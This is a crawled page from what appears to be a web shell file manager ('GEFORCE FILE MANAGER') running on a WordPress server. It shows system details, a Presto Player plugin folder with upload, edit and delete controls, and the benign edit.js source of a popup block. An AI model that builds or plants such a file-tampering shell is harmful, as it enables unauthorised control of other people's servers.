[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
plugins
/
presto-player
/
src
/
admin
/
blocks
/
blocks
/
popup-media
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📄 block.json
591 B
SET
[ EDIT ]
|
[ DEL ]
📄 edit.js
1,866 B
SET
[ EDIT ]
|
[ DEL ]
📄 editor.css
500 B
SET
[ EDIT ]
|
[ DEL ]
📄 index.js
371 B
SET
[ EDIT ]
|
[ DEL ]
📄 save.js
253 B
SET
[ EDIT ]
|
[ DEL ]
📄 style.css
2,106 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: edit.js
import { useBlockProps, useInnerBlocksProps } from "@wordpress/block-editor"; import { css } from "@emotion/react"; import Context from "../popup/context/context"; import Tag from "../../shared/components/Tag"; import { __ } from "@wordpress/i18n"; export default ({ clientId }) => { const blockProps = useBlockProps({ className: "presto-popup__overlay", css: css` position: relative; `, }); const innerBlocksProps = useInnerBlocksProps({ className: "presto-popup__content", }); return ( <Context.Consumer> {({ open }) => { if (!open) { return null; } return ( <div style={{ position: "relative" }}> <Tag label={__("Popup", "presto-player")} className="presto-popup-tag" css={css` position: absolute; top: 0px; right: 0px; z-index: 10; display: none; border-radius: 1px; `} /> <div {...blockProps}> <button type="button" aria-label="Close" className="presto-popup__close-button" > <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false" fill="white" > <path d="m13.06 12 6.47-6.47-1.06-1.06L12 10.94 5.53 4.47 4.47 5.53 10.94 12l-6.47 6.47 1.06 1.06L12 13.06l6.47 6.47 1.06-1.06L13.06 12Z" /> </svg> </button> <div {...innerBlocksProps} /> </div> </div> ); }} </Context.Consumer> ); };